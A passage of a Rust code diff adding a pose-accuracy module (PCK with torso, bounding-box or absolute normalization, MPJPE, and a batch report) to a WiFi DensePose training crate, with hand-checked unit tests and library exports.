+        // NaN-safe: `NaN <= tol` is false, so a NaN coordinate counts as wrong.
+        if dist <= tol {
+            correct += 1;
+        }
+    }
+    let pck = if total > 0 {
+        correct as f32 / total as f32
+    } else {
+        0.0
+    };
+    (correct, total, pck)
+}
+
+/// Per-frame **MPJPE** (mean per-joint position error) over visible keypoints,
+/// in the coordinate units of the inputs (report as mm when inputs are mm).
+///
+/// `pred`/`gt` are `[n, D]` with `D ∈ {2, 3}` (2D or 3D pose); all `D` columns
+/// are used. Joints with `visibility[j] < 0.5` are excluded.
+///
+/// Returns `0.0` when no keypoint is visible (no evidence). A NaN coordinate
+/// propagates into the returned mean (callers filter NaN frames upstream); it
+/// does not panic.
+pub fn mpjpe(pred: &Array2<f32>, gt: &Array2<f32>, visibility: &Array1<f32>) -> f32 {
+    let n = pred.shape()[0].min(gt.shape()[0]).min(visibility.len());
+    let d = pred.shape()[1].min(gt.shape()[1]);
+    let mut sum = 0.0f32;
+    let mut count = 0usize;
+    for j in 0..n {
+        if visibility[j] < VISIBILITY_THRESHOLD {
+            continue;
+        }
+        let mut sq = 0.0f32;
+        for c in 0..d {
+            let diff = pred[[j, c]] - gt[[j, c]];
+            sq += diff * diff;
+        }
+        sum += sq.sqrt();
+        count += 1;
+    }
+    if count > 0 {
+        sum / count as f32
+    } else {
+        0.0
+    }
+}
+
+// ===========================================================================
+// Self-describing result struct + batch report
+// ===========================================================================
+
+/// A pose-accuracy result that **always carries the definition it was computed
+/// under** — making an unlabeled PCK number structurally impossible.
+///
+/// Built by [`accuracy_report`] over a set of frames. `pck_at` maps each
+/// requested threshold `k` (percentage, e.g. `20`) to its PCK in `[0,1]`. The
+/// `normalization` field records *which* PCK definition produced those numbers,
+/// so two `PoseAccuracy` values can only be compared when their `normalization`
+/// matches (the comparability check the project lacked).
+#[derive(Debug, Clone, PartialEq)]
+pub struct PoseAccuracy {
+    /// PCK\@k for each requested threshold percentage `k`, in `[0,1]`.
+    pub pck_at: BTreeMap<u8, f32>,
+    /// Mean per-joint position error in coordinate units (mm for mm inputs).
+    pub mpjpe: f32,
+    /// The normalization basis under which `pck_at` was computed — the label a
+    /// reported number must always carry.
+    pub normalization: PckNormalization,
+    /// Number of keypoints per frame (the pose convention, e.g. 17 for COCO).
+    pub n_keypoints: usize,
+    /// Number of frames aggregated into this result.
+    pub n_frames: usize,
+}
+
+impl PoseAccuracy {
+    /// Convenience accessor for a single threshold, returning `None` when that
+    /// `k` was not requested.
+    pub fn pck(&self, k: u8) -> Option<f32> {
+        self.pck_at.get(&k).copied()
+    }
+
+    /// A one-line, self-documenting summary suitable for logs / RESULTS.md, e.g.
+    /// `PCK@20=0.750 (torso-diameter, 17kp, 1 frames) MPJPE=0.030`.
+    pub fn summary(&self) -> String {
+        let pcks: Vec<String> = self
+            .pck_at
+            .iter()
+            .map(|(k, v)| format!("PCK@{k}={v:.3}"))
+            .collect();
+        format!(
+            "{} ({}, {}kp, {} frames) MPJPE={:.4}",
+            pcks.join(" "),
+            self.normalization.label(),
+            self.n_keypoints,
+            self.n_frames,
+            self.mpjpe
+        )
+    }
+}
+
+/// One frame's prediction + ground truth + visibility for batch scoring.
+///
+/// All three arrays share row count `n_keypoints`; `pred`/`gt` are `[n, D]`
+/// (`D ∈ {2,3}`), `visibility` is `[n]`.
+#[derive(Debug, Clone)]
+pub struct PoseFrame {
+    /// Predicted keypoints `[n, D]`.
+    pub pred: Array2<f32>,
+    /// Ground-truth keypoints `[n, D]`.
+    pub gt: Array2<f32>,
+    /// Per-keypoint visibility `[n]` (`>= 0.5` ⇒ visible).
+    pub visibility: Array1<f32>,
+}
+
+/// Aggregate [`PoseAccuracy`] over a batch of frames under **one** explicit
+/// `normalization`, for the requested PCK thresholds `ks` (percentages).
+///
+/// PCK is micro-averaged over keypoints (sum of correct ÷ sum of visible across
+/// all frames — the standard keypoint-PCK aggregation), so frames with more
+/// visible joints contribute proportionally. MPJPE is micro-averaged over
+/// visible joints likewise. Unscoreable frames (no visible joints, degenerate
+/// relative normalizer) contribute `(0, 0)` and so are excluded from the
+/// denominator rather than scored as perfect.
+///
+/// An **empty** `frames` slice yields all-zero PCK and `0.0` MPJPE — never a
+/// panic or NaN.
+pub fn accuracy_report(
+    frames: &[PoseFrame],
+    ks: &[u8],
+    normalization: PckNormalization,
+) -> PoseAccuracy {
+    let n_keypoints = frames.first().map(|f| f.gt.shape()[0]).unwrap_or(0);
+
+    // PCK: per-threshold (correct, total) accumulators across frames.
+    let mut pck_acc: BTreeMap<u8, (usize, usize)> = ks.iter().map(|&k| (k, (0, 0))).collect();
+    // MPJPE: sum of per-joint distances and visible-joint count.
+    let mut mpjpe_sum = 0.0f32;
+    let mut mpjpe_count = 0usize;
+
+    for frame in frames {
+        for &k in ks {
+            let (c, t, _) = pck_at(&frame.pred, &frame.gt, &frame.visibility, k, normalization);
+            let entry = pck_acc.entry(k).or_insert((0, 0));
+            entry.0 += c;
+            entry.1 += t;
+        }
+        // Per-frame MPJPE re-derived as a (sum, count) contribution so the
+        // batch value is a true micro-average over joints.
+        let n = frame.pred.shape()[0].min(frame.gt.shape()[0]).min(frame.visibility.len());
+        let d = frame.pred.shape()[1].min(frame.gt.shape()[1]);
+        for j in 0..n {
+            if frame.visibility[j] < VISIBILITY_THRESHOLD {
+                continue;
+            }
+            let mut sq = 0.0f32;
+            for c in 0..d {
+                let diff = frame.pred[[j, c]] - frame.gt[[j, c]];
+                sq += diff * diff;
+            }
+            mpjpe_sum += sq.sqrt();
+            mpjpe_count += 1;
+        }
+    }
+
+    let pck_at: BTreeMap<u8, f32> = pck_acc
+        .into_iter()
+        .map(|(k, (c, t))| {
+            let v = if t > 0 { c as f32 / t as f32 } else { 0.0 };
+            (k, v)
+        })
+        .collect();
+
+    let mpjpe = if mpjpe_count > 0 {
+        mpjpe_sum / mpjpe_count as f32
+    } else {
+        0.0
+    };
+
+    PoseAccuracy {
+        pck_at,
+        mpjpe,
+        normalization,
+        n_keypoints,
+        n_frames: frames.len(),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    /// Build a 17-joint `[17, 2]` pose from `(joint, x, y)` triples.
+    fn pose17(joints: &[(usize, f32, f32)]) -> Array2<f32> {
+        let mut a = Array2::<f32>::zeros((17, 2));
+        for &(j, x, y) in joints {
+            a[[j, 0]] = x;
+            a[[j, 1]] = y;
+        }
+        a
+    }
+
+    fn vis17(visible: &[usize]) -> Array1<f32> {
+        let mut v = Array1::<f32>::zeros(17);
+        for &j in visible {
+            v[j] = 2.0;
+        }
+        v
+    }
+
+    // -------- consts pinned (no silent metric drift) --------
+    #[test]
+    fn accuracy_consts_unchanged() {
+        assert_eq!(VISIBILITY_THRESHOLD, 0.5_f32);
+        assert_eq!(MIN_REFERENCE_EXTENT, 1e-6_f32);
+    }
+
+    // -------- perfect prediction ⇒ PCK = 1.0, MPJPE = 0 --------
+    #[test]
+    fn perfect_prediction_pck_one_mpjpe_zero() {
+        let gt = pose17(&[
+            (5, 0.35, 0.35),
+            (CANON_LEFT_HIP, 0.40, 0.50),
+            (CANON_RIGHT_HIP, 0.60, 0.50),
+        ]);
+        let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        for norm in [
+            PckNormalization::TorsoDiameter,
+            PckNormalization::BoundingBoxDiagonal,
+            PckNormalization::AbsolutePixels(0.01),
+        ] {
+            let (c, t, pck) = pck_at(&gt, &gt, &vis, 20, norm);
+            assert_eq!((c, t), (3, 3), "{norm:?}");
+            assert!((pck - 1.0).abs() < 1e-6, "{norm:?} perfect PCK must be 1.0");
+        }
+        assert_eq!(mpjpe(&gt, &gt, &vis), 0.0);
+    }
+
+    // -------- all keypoints just OUTSIDE threshold ⇒ PCK = 0.0 --------
+    //
+    // Hand calc (torso): hips at (0.40,0.50)/(0.60,0.50) ⇒ torso = 0.20.
+    // threshold k=20 ⇒ τ = 0.20·0.20 = 0.04. Push every scored joint to an
+    // error of 0.05 (> 0.04) ⇒ all wrong. To avoid the hips themselves being
+    // "correct", we displace the hips too (their displaced positions still
+    // define the torso from GT, which is unchanged).
+    #[test]
+    fn all_just_outside_threshold_pck_zero() {
+        let gt = pose17(&[
+            (5, 0.50, 0.50),
+            (CANON_LEFT_HIP, 0.40, 0.50),
+            (CANON_RIGHT_HIP, 0.60, 0.50),
+        ]);
+        // GT torso = 0.20, τ@20 = 0.04. Displace each scored joint by dx=0.05.
+        let pred = pose17(&[
+            (5, 0.55, 0.50),
+            (CANON_LEFT_HIP, 0.45, 0.50),
+            (CANON_RIGHT_HIP, 0.65, 0.50),
+        ]);
+        let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        let (c, t, pck) = pck_at(&pred, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+        assert_eq!(t, 3);
+        assert_eq!(c, 0, "all errors 0.05 > τ 0.04 ⇒ none correct");
+        assert_eq!(pck, 0.0);
+    }
+
+    // -------- half-in / half-out ⇒ PCK = 0.5 --------
+    //
+    // Hand calc (torso): torso = 0.20, τ@20 = 0.04. Four visible joints; two
+    // exact (dist 0 ≤ 0.04, correct), two displaced 0.05 (> 0.04, wrong)
+    // ⇒ 2/4 = 0.5.
+    #[test]
+    fn half_in_half_out_pck_half() {
+        let gt = pose17(&[
+            (0, 0.50, 0.20),
+            (5, 0.50, 0.50),
+            (CANON_LEFT_HIP, 0.40, 0.50),
+            (CANON_RIGHT_HIP, 0.60, 0.50),
+        ]);
+        let pred = pose17(&[
+            (0, 0.50, 0.20),          // exact ⇒ correct
+            (5, 0.55, 0.50),          // err 0.05 ⇒ wrong
+            (CANON_LEFT_HIP, 0.40, 0.50),  // exact ⇒ correct
+            (CANON_RIGHT_HIP, 0.65, 0.50), // err 0.05 ⇒ wrong
+        ]);
+        let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        let (c, t, pck) = pck_at(&pred, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+        assert_eq!((c, t), (2, 4));
+        assert!((pck - 0.5).abs() < 1e-6, "expected 0.5, got {pck}");
+    }
+
+    // -------- THE KEY PROOF: same predictions, three normalizations, three PCK --------
+    //
+    // One construction scored three ways. Hand calc:
+    //   GT: nose(0)=(0.50,0.10), l_sh(5)=(0.50,0.30),
+    //       l_hip(11)=(0.40,0.90), r_hip(12)=(0.60,0.90).
+    //   Visible = {0,5,11,12}, all four.
+    //   torso  = |0.60-0.40| = 0.20  (hips, y equal).
+    //   bbox: x∈[0.40,0.60] (w=0.20), y∈[0.10,0.90] (h=0.80)
+    //         ⇒ diag = sqrt(0.20² + 0.80²) = sqrt(0.04+0.64)=sqrt(0.68)=0.8246…
+    //
+    //   Pred errors (pure dx): nose 0.00, l_sh 0.10, l_hip 0.00, r_hip 0.00.
+    //   (Only joint 5 is displaced, by 0.10.)
+    //
+    //   k = 20:
+    //   • Torso  τ = 0.20·0.20 = 0.040 → joint5 err 0.10 > 0.040 ⇒ WRONG
+    //       ⇒ 3 correct / 4 = 0.75
+    //   • Bbox   τ = 0.20·0.8246 = 0.16492 → joint5 err 0.10 ≤ 0.16492 ⇒ CORRECT
+    //       ⇒ 4 correct / 4 = 1.00
+    //   • Abs(0.05) τ = 0.05 → joint5 err 0.10 > 0.05 ⇒ WRONG
+    //       ⇒ 3 correct / 4 = 0.75   (same count as torso HERE by coincidence)
+    //
+    //   To make ALL THREE differ, also test Abs(0.08): τ=0.08, joint5 0.10>0.08
+    //   ⇒ still 0.75. So we additionally displace nose by 0.06 (between 0.05 and
+    //   0.08) to separate the two absolute thresholds — see below.
+    #[test]
+    fn three_normalizations_give_different_pck_on_identical_input() {
+        let gt = pose17(&[
+            (0, 0.50, 0.10),  // nose
+            (5, 0.50, 0.30),  // left_shoulder
+            (CANON_LEFT_HIP, 0.40, 0.90),
+            (CANON_RIGHT_HIP, 0.60, 0.90),
+        ]);
+        // nose displaced 0.06, shoulder displaced 0.10, hips exact.
+        let pred = pose17(&[
+            (0, 0.56, 0.10),  // err 0.06
+            (5, 0.60, 0.30),  // err 0.10
+            (CANON_LEFT_HIP, 0.40, 0.90),  // exact
+            (CANON_RIGHT_HIP, 0.60, 0.90), // exact
+        ]);
+        let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+
+        // Torso τ@20 = 0.04: nose 0.06>0.04 wrong, sh 0.10>0.04 wrong,
+        //   hips exact ⇒ 2/4 = 0.5.
+        let (_, _, torso) = pck_at(&pred, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+        // Bbox diag = sqrt(0.68)=0.82462; τ@20 = 0.164924:
+        //   nose 0.06 ≤ τ correct, sh 0.10 ≤ τ correct, hips exact ⇒ 4/4 = 1.0.
+        let (_, _, bbox) = pck_at(&pred, &gt, &vis, 20, PckNormalization::BoundingBoxDiagonal);
+        // Abs(0.08): nose 0.06 ≤ 0.08 correct, sh 0.10 > 0.08 wrong, hips exact
+        //   ⇒ 3/4 = 0.75.
+        let (_, _, abs) = pck_at(&pred, &gt, &vis, 20, PckNormalization::AbsolutePixels(0.08));
+
+        assert!((torso - 0.5).abs() < 1e-6, "torso PCK expected 0.5, got {torso}");
+        assert!((bbox - 1.0).abs() < 1e-6, "bbox PCK expected 1.0, got {bbox}");
+        assert!((abs - 0.75).abs() < 1e-6, "abs(0.08) PCK expected 0.75, got {abs}");
+
+        // The whole point: identical predictions, three DISTINCT PCK values.
+        assert!(torso != bbox && bbox != abs && torso != abs,
+            "normalizations must give distinct PCK: torso={torso}, bbox={bbox}, abs={abs}");
+    }
+
+    // -------- AbsolutePixels ignores k (raw threshold) --------
+    #[test]
+    fn absolute_pixels_ignores_threshold_percentage() {
+        let gt = pose17(&[(5, 0.50, 0.50), (CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
+        let pred = pose17(&[(5, 0.53, 0.50), (CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
+        let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        // τ = 0.05 raw; joint5 err 0.03 ≤ 0.05 correct. k=5 and k=99 must agree.
+        let (_, _, p5) = pck_at(&pred, &gt, &vis, 5, PckNormalization::AbsolutePixels(0.05));
+        let (_, _, p99) = pck_at(&pred, &gt, &vis, 99, PckNormalization::AbsolutePixels(0.05));
+        assert_eq!(p5, p99, "AbsolutePixels must ignore the k percentage");
+        assert!((p5 - 1.0).abs() < 1e-6, "all three within 0.05, got {p5}");
+    }
+
+    // -------- MPJPE hand-computed (2D and 3D) --------
+    #[test]
+    fn mpjpe_hand_computed_2d() {
+        // joint0 err (3,4)->5, joint1 exact->0 ⇒ mean (5+0)/2 = 2.5.
+        let gt = Array2::from_shape_vec((2, 2), vec![0.0, 0.0, 1.0, 1.0]).unwrap();
+        let pred = Array2::from_shape_vec((2, 2), vec![3.0, 4.0, 1.0, 1.0]).unwrap();
+        let vis = Array1::from(vec![2.0, 2.0]);
+        assert!((mpjpe(&pred, &gt, &vis) - 2.5).abs() < 1e-6);
+    }
+
+    #[test]
+    fn mpjpe_hand_computed_3d() {
+        // single joint err (1,2,2) -> sqrt(1+4+4)=3.0.
+        let gt = Array2::from_shape_vec((1, 3), vec![0.0, 0.0, 0.0]).unwrap();
+        let pred = Array2::from_shape_vec((1, 3), vec![1.0, 2.0, 2.0]).unwrap();
+        let vis = Array1::from(vec![2.0]);
+        assert!((mpjpe(&pred, &gt, &vis) - 3.0).abs() < 1e-6);
+    }
+
+    #[test]
+    fn mpjpe_excludes_invisible_joints() {
+        // joint0 visible err 5, joint1 INVISIBLE err 100 ⇒ mean = 5 (joint1 dropped).
+        let gt = Array2::from_shape_vec((2, 2), vec![0.0, 0.0, 0.0, 0.0]).unwrap();
+        let pred = Array2::from_shape_vec((2, 2), vec![3.0, 4.0, 100.0, 0.0]).unwrap();
+        let vis = Array1::from(vec![2.0, 0.0]);
+        assert!((mpjpe(&pred, &gt, &vis) - 5.0).abs() < 1e-6);
+    }
+
+    // -------- degenerate inputs: no panic --------
+    #[test]
+    fn zero_torso_is_unscoreable_not_perfect() {
+        // Both hips coincident ⇒ torso ≈ 0; bbox also collapses ⇒ None.
+        let gt = pose17(&[(CANON_LEFT_HIP, 0.5, 0.5), (CANON_RIGHT_HIP, 0.5, 0.5)]);
+        let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        assert_eq!(pck_at(&gt, &gt, &vis, 20, PckNormalization::TorsoDiameter), (0, 0, 0.0));
+        assert_eq!(pck_at(&gt, &gt, &vis, 20, PckNormalization::BoundingBoxDiagonal), (0, 0, 0.0));
+    }
+
+    #[test]
+    fn no_visible_keypoints_scores_zero() {
+        let gt = pose17(&[(CANON_LEFT_HIP, 0.4, 0.5), (CANON_RIGHT_HIP, 0.6, 0.5)]);
+        let vis = vis17(&[]); // nothing visible
+        let (c, t, pck) = pck_at(&gt, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+        assert_eq!((c, t, pck), (0, 0, 0.0));
+        assert_eq!(mpjpe(&gt, &gt, &vis), 0.0);
+    }
+
+    #[test]
+    fn nan_coords_do_not_panic_and_count_wrong() {
+        let gt = pose17(&[(5, 0.5, 0.5), (CANON_LEFT_HIP, 0.4, 0.5), (CANON_RIGHT_HIP, 0.6, 0.5)]);
+        let mut pred = gt.clone();
+        pred[[5, 0]] = f32::NAN; // joint 5 prediction is NaN
+        let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        let (c, t, pck) = pck_at(&pred, &gt, &vis, 20, PckNormalization::TorsoDiameter);
+        assert_eq!(t, 3);
+        assert_eq!(c, 2, "NaN joint must count as wrong, hips correct ⇒ 2/3");
+        assert!((pck - 2.0 / 3.0).abs() < 1e-6);
+        // mpjpe with a NaN joint yields NaN (caller filters) but must not panic.
+        assert!(mpjpe(&pred, &gt, &vis).is_nan());
+    }
+
+    // -------- batch report: micro-average + self-describing struct --------
+    #[test]
+    fn accuracy_report_micro_averages_and_carries_definition() {
+        // Frame A: 2 visible, both correct (2/2). Frame B: 2 visible, both wrong (0/2).
+        // Micro-average over joints: 2 correct / 4 = 0.5 (NOT mean-of-frame-PCK,
+        // which would be (1.0+0.0)/2 = 0.5 here too, but the accumulator is the
+        // joint-level one).
+        let gt = pose17(&[(CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
+        let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        let frame_a = PoseFrame { pred: gt.clone(), gt: gt.clone(), visibility: vis.clone() };
+        // Frame B: displace both hips by 0.05 (> τ 0.04) ⇒ both wrong.
+        let pred_b = pose17(&[(CANON_LEFT_HIP, 0.45, 0.50), (CANON_RIGHT_HIP, 0.65, 0.50)]);
+        let frame_b = PoseFrame { pred: pred_b, gt: gt.clone(), visibility: vis.clone() };
+
+        let report = accuracy_report(
+            &[frame_a, frame_b],
+            &[20, 50],
+            PckNormalization::TorsoDiameter,
+        );
+        assert_eq!(report.n_frames, 2);
+        assert_eq!(report.n_keypoints, 17);
+        assert_eq!(report.normalization, PckNormalization::TorsoDiameter);
+        // PCK@20: 2 correct / 4 visible = 0.5.
+        assert!((report.pck(20).unwrap() - 0.5).abs() < 1e-6);
+        // PCK@50: τ = 0.5·0.20 = 0.10, frame B err 0.05 ≤ 0.10 ⇒ all correct
+        //   ⇒ 4/4 = 1.0.
+        assert!((report.pck(50).unwrap() - 1.0).abs() < 1e-6);
+        // A reported number always carries its definition in the summary.
+        assert!(report.summary().contains("torso-diameter"));
+    }
+
+    #[test]
+    fn accuracy_report_empty_is_zero_not_nan() {
+        let report = accuracy_report(&[], &[20], PckNormalization::BoundingBoxDiagonal);
+        assert_eq!(report.n_frames, 0);
+        assert_eq!(report.pck(20), Some(0.0));
+        assert_eq!(report.mpjpe, 0.0);
+        assert!(!report.mpjpe.is_nan());
+    }
+
+    // -------- bbox-norm is looser than torso-norm (sanity, on a batch) --------
+    #[test]
+    fn bbox_norm_scores_at_least_torso_norm() {
+        // bbox diagonal >= torso span always (bbox encloses the hips), so for the
+        // SAME frames bbox-PCK >= torso-PCK at the same k. Pin this ordering.
+        let gt = pose17(&[
+            (0, 0.50, 0.10),
+            (5, 0.50, 0.40),
+            (CANON_LEFT_HIP, 0.40, 0.90),
+            (CANON_RIGHT_HIP, 0.60, 0.90),
+        ]);
+        let pred = pose17(&[
+            (0, 0.55, 0.10),
+            (5, 0.58, 0.40),
+            (CANON_LEFT_HIP, 0.42, 0.90),
+            (CANON_RIGHT_HIP, 0.62, 0.90),
+        ]);
+        let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
+        let frame = PoseFrame { pred, gt, visibility: vis };
+        let torso = accuracy_report(std::slice::from_ref(&frame), &[20], PckNormalization::TorsoDiameter);
+        let bbox = accuracy_report(std::slice::from_ref(&frame), &[20], PckNormalization::BoundingBoxDiagonal);
+        assert!(
+            bbox.pck(20).unwrap() >= torso.pck(20).unwrap(),
+            "bbox-norm (looser) must be >= torso-norm: bbox={:?} torso={:?}",
+            bbox.pck(20), torso.pck(20)
+        );
+    }
+}

v2/crates/wifi-densepose-train/src/lib.rs

@@ -43,6 +43,11 @@
 // All *this* crate's code is written without unsafe blocks.
 #![warn(missing_docs)]
 
+/// Metric-locked pose-accuracy harness (ADR-155 §Tier-1.2; needs ADR slot 173)
+/// — selectable `PckNormalization` (torso / bbox-diagonal / absolute), `mpjpe`,
+/// and a self-describing `PoseAccuracy` result so a reported PCK number always
+/// carries the definition it was computed under.
+pub mod accuracy;
 pub mod config;
 pub mod dataset;
 pub mod domain;
@@ -89,6 +94,11 @@ pub use metrics_core::{
     canonical_torso_size, oks_canonical, pck_canonical, CANON_LEFT_HIP, CANON_RIGHT_HIP,
     COCO_KP_SIGMAS,
 };
+// ADR-155 §Tier-1.2 — metric-locked accuracy harness (selectable PCK
+// normalization + MPJPE + self-describing result).
+pub use accuracy::{
+    accuracy_report, mpjpe as pck_mpjpe, pck_at, PckNormalization, PoseAccuracy, PoseFrame,
+};
 pub use config::TrainingConfig;
 pub use dataset::{
     CsiDataset, CsiSample, DataLoader, MmFiDataset, SyntheticConfig, SyntheticCsiDataset,